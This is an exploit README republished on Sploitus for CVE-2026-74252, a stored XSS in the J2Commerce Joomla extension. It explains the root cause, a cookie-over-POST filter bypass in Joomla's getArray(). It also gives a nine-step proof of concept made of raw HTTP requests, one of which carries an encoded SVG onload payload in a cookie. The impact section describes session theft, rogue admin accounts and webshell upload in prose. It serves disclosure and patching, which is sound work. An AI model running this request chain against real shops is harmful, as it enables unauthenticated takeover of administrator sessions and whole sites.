Sploitus

Exploit for CVE-2026-74252

githubexploit Β· 2026-08-22

Exploit Code

README228 lines
## https://sploitus.com/exploit?id=F87CD075-2D48-564B-991E-2FD88DED31C5
# Stored XSS in J2Commerce Guest Checkout via Cookie Filter Bypass

**J2Commerce (com_j2store) ≀ 4.1.5 β€” Unauthenticated Attacker Stores XSS Payload That Executes Automatically in Administrator Browser on Page Load**

![CVE](https://img.shields.io/badge/CVE-CVE--2026--74252-green)
![CVSS v4.0](https://img.shields.io/badge/CVSS_v4.0-8.6-red)
![CWE-79](https://img.shields.io/badge/CWE--79-Stored_XSS-orange)
![Affected](https://img.shields.io/badge/Affected-1.0.0_–_4.1.5-red)
![Researcher](https://img.shields.io/badge/Researcher-Toan_Le-blue)

---

## SUMMARY

J2Commerce 4.1.5 is vulnerable to Stored Cross-Site Scripting (XSS) through the guest checkout billing address fields. An unauthenticated attacker exploits a filter bypass in Joomla's `Input::getArray()` combined with PHP's `variables_order=EGPCS` (Cookie overrides POST in `$_REQUEST`) to store unsanitized HTML in fields such as `billing_first_name`. These fields are echoed directly in the administrator order management panel without `htmlspecialchars()`, causing the payload to execute in the administrator's browser.

The XSS payload fires **automatically on page load** when the administrator navigates to the orders listing β€” no click on an individual order is required. A single HTTP request chain (add to cart β†’ submit checkout with cookie bypass β†’ place order) permanently stores the payload, which will execute in every administrator's browser until the order is deleted or the vulnerability is patched.

The attack requires no authentication from the attacker. Guest checkout is a standard, commonly-enabled feature of e-commerce sites, providing economic incentive for admins to view new orders β€” making exploitation trivial to weaponize.

---

## AFFECTED VERSIONS

| COMPONENT                | VULNERABLE     | TESTED ON                         | FIXED                   |
| ------------------------ | -------------- | --------------------------------- | ----------------------- |
| J2Commerce (com_j2store) | 1.0.0 – 4.1.5 | 4.1.5 on Joomla 5.4.7 + MySQL 8.0 | 3.3.21 / 4.0.21 / 4.1.6 |

---

## VULNERABILITY DETAILS

**Type:** Cross-Site Scripting β€” Stored (CWE-79)
**Authentication required:** None β€” unauthenticated (guest checkout)
**Primary Sink:** `administrator/components/com_j2store/views/orders/tmpl/default_items.php:73`
**Write Path:** `components/com_j2store/controllers/checkouts.php:535`

### Root Cause

The vulnerability consists of two compounding weaknesses: an input filter bypass at the write path and missing output encoding at the read path.

**1. Input filter bypass β€” Joomla `Input::getArray()` misuse**

J2Commerce's guest checkout controller reads address fields using `$app->input->getArray($_POST)`. Joomla's implementation iterates the `$_POST` array and uses each **value** as a **filter type** (not as data), while reading the actual value from `$_REQUEST`:

**COMPONENTS/COM_J2STORE/CONTROLLERS/CHECKOUTS.PHP:535 β€” WRITE PATH**

```php
$data = $app->input->getArray($_POST);
```

**LIBRARIES/VENDOR/JOOMLA/INPUT/SRC/INPUT.PHP β€” GETARRAY() METHOD (LINE 187)**

```php
public function getArray(array $vars = [], $datasource = null)
{
    foreach ($vars as $k => $v) {
        $results[$k] = $this->get($k, null, $v); // $k = field name, $v = POST value used as filter TYPE
    }
}
```

**LIBRARIES/VENDOR/JOOMLA/INPUT/SRC/INPUT.PHP β€” DATA SOURCE (LINE 97)**

```php
$this->data = $source ?? $_REQUEST;  // Reads from $_REQUEST, not $_POST
```

**2. PHP `variables_order` β€” Cookie overrides POST in `$_REQUEST`**

PHP's `$_REQUEST` is a merged superglobal built from `$_GET`, `$_POST`, and `$_COOKIE`. When `variables_order=EGPCS` (the compiled-in default for most PHP environments), Cookie (C) is listed after POST (P), so Cookie wins for conflicting keys.

Submitting `first_name=RAW` in the POST body causes Joomla's `InputFilter::clean()` to apply filter type `'Raw'` (no-op) against the cookie value `first_name=`, which wins in `$_REQUEST`.

**LIBRARIES/VENDOR/JOOMLA/FILTER/SRC/INPUTFILTER.PHP β€” CLEAN() METHOD (LINE 215)**

```php
$type = ucfirst(strtolower($type));  // 'RAW' β†’ 'Raw'
if ($type === 'Raw') {
    return $source;  // ← no sanitization β€” returns cookie value unchanged
}
```

**Net result:** POST body `first_name=RAW` sets the filter to a no-op. Cookie `first_name=` wins in `$_REQUEST`. Joomla returns the cookie value unfiltered. J2Commerce stores it raw in `j2store_orderinfos.billing_first_name`.

**3. Missing output encoding β€” admin template sinks**

**ADMINISTRATOR/COMPONENTS/COM_J2STORE/VIEWS/ORDERS/TMPL/DEFAULT_ITEMS.PHP:73 β€” PRIMARY SINK (fires on listing page load)**

```php
// Vulnerable β€” no htmlspecialchars():
billing_first_name .' '.$row->billing_last_name; ?>
```

**ADMINISTRATOR/COMPONENTS/COM_J2STORE/VIEWS/ORDER/TMPL/FORM_CUSTOMER.PHP:56 β€” SECONDARY SINK**

```php
// Vulnerable β€” no htmlspecialchars():
'.$this->orderinfo->billing_first_name." ".$this->orderinfo->billing_last_name.""; ?>
orderinfo->billing_address_1;?>
orderinfo->billing_city;?>
orderinfo->billing_phone_1; ?>
```

This bypass works on all PHP environments except Debian/Ubuntu (which explicitly sets `request_order = "GP"`, excluding cookies from `$_REQUEST`). All other major hosting environments β€” cPanel/Plesk shared hosting, CentOS/RHEL, XAMPP/WAMP/MAMP, Windows IIS β€” fall back to `EGPCS`, making Cookie override active out of the box with no configuration changes required.

---

## PROOF OF CONCEPT

#### 1. Admin Baseline β€” Orders Listing Before Attack

Open the J2Commerce admin orders listing as the victim administrator. This confirms the admin is actively using the panel and will encounter the payload upon next visit.

![s1-step1-admin-orders-baseline](images/s1-step1-admin-orders-baseline.png)

#### 2. Extract CSRF Token from Frontend

As the unauthenticated attacker, send a GET request to the J2Commerce frontend homepage to establish a session and extract the CSRF token embedded in the page's JSON options. This token is required for subsequent POST requests.

![s1-step2-csrf-token-extract](images/s1-step2-csrf-token-extract.png)

#### 3. Add Product to Cart

Add a product to the attacker's cart. The cart must be non-empty for the guest checkout endpoint to accept address submission.

```http
POST /index.php?option=com_j2store&view=carts&task=addItem&ajax=1 HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded

product_id=&j2store_variant_id=&quantity=1&=1
```

![s1-step3-add-product-to-cart](images/s1-step3-add-product-to-cart.png)

#### 4. KEY BYPASS β€” Submit Guest Checkout with Cookie Filter Trick

Submit the guest checkout address form with two conflicting values for `first_name`:

- **POST body:** `first_name=RAW` β€” Joomla interprets this as the filter type (no-op)
- **Cookie:** `first_name=` β€” this wins in `$_REQUEST` (PHP EGPCS: Cookie > POST) and is returned unfiltered

```http
POST /index.php?option=com_j2store&view=checkout&task=guest_validate HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
Cookie: =; first_name=%3Csvg+xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22+onload%3D%22alert%28document.domain%29%22%3E%3C%2Fsvg%3E

first_name=RAW&last_name=Attacker&address_1=1+Evil+St&city=HackCity&zip=12345&country_id=223&zone_id=62&phone_1=0123456789&phone_2=0123456789&email=attacker%40evil.com&=1
```

![s1-step4-cookie-bypass-guest-checkout](images/s1-step4-cookie-bypass-guest-checkout.png)

#### 5. Complete Shipping Validation

Submit the shipping address step using the same cookie bypass. This step sets the shipping country in session β€” skipping it causes a `"SHIPPING_ADDRESS_NOT_FOUND"` error on subsequent steps.

![s1-step5-shipping-validate](images/s1-step5-shipping-validate.png)

#### 6. Select Payment Method

Select the payment method (cash on delivery). The `payment_plugin` field is not a text input susceptible to XSS.

```http
POST /index.php?option=com_j2store&view=checkout&task=shipping_payment_method_validate HTTP/1.1

payment_plugin=payment_cash&=1
```

![s1-step6-select-payment-method](images/s1-step6-select-payment-method.png)

#### 7. Retrieve Order Confirmation Hash

Submit the confirm step to receive the order summary page containing a hidden `hash` field. This hash is required to finalize the order.

```http
POST /index.php?option=com_j2store&view=checkout&task=confirm HTTP/1.1

accept_terms=1&=1
```

![s1-step7-retrieve-order-hash](images/s1-step7-retrieve-order-hash.png)

#### 8. Place Order β€” XSS Payload Persisted to Database

Finalize the order using the hash from the previous step. The server creates the order record in `joom_j2store_orderinfos` with `billing_first_name` set to the raw XSS payload.

```http
POST /index.php?option=com_j2store&view=checkout&task=confirmPayment HTTP/1.1

hash=&=1
```

![s1-step8-place-order-xss-persisted](images/s1-step8-place-order-xss-persisted.png)

#### 9. XSS Executes in Administrator Panel β€” Automatic on Page Load

As the victim administrator, navigate to the J2Commerce orders listing. The XSS payload fires **immediately on page load** β€” no click required. The `default_items.php:73` template renders `billing_first_name` unescaped in the Customer column.

When admin views the order, the server response includes:

```html
 Attacker
```

![s1-step9-xss-triggers-on-page-load](images/s1-step9-xss-triggers-on-page-load.png)

---

## IMPACT

1. **Admin Session Hijack** β€” JavaScript executing in the administrator backend has access to the admin's session cookies (unless HttpOnly) and can exfiltrate them to an attacker-controlled server, enabling complete account takeover without requiring the admin's credentials.
2. **Rogue Admin Account Creation** β€” The XSS payload can programmatically call Joomla's user management API to create a new super-administrator account, granting the attacker persistent access even after password rotation or session invalidation.
3. **Malicious Plugin Installation** β€” With admin-level JS execution, the attacker can trigger plugin installation endpoints to upload a PHP webshell, achieving Remote Code Execution on the underlying server without further interaction.
4. **Full Website Compromise** β€” The attacker gains the ability to modify any content, extract the database (including customer PII and payment references), inject malware into frontend pages, and establish persistent backdoors β€” constituting a complete site takeover.
5. **No Attack Prerequisite Beyond Placing an Order** β€” Guest checkout is a standard, commonly-enabled feature of e-commerce sites. Any anonymous visitor can trigger this attack by submitting a checkout form β€” providing economic incentive (admins routinely review orders), making exploitation trivial to weaponize at scale.

---

## REFERENCES

- **CVE:** https://vulners.com/cve/CVE-2026-74252
- **NVD:** https://nvd.nist.gov/vuln/detail/CVE-2026-74252
- **GitHub Advisory:** https://github.com/advisories/GHSA-42m7-jqh7-g85c
- **Vendor Security Announcement:** https://www.j2commerce.com/blog/security-announcement-releases-3-3-21-4-0-21-and-4-1-6
- **Vendor Repository:** https://github.com/j2store/J2Store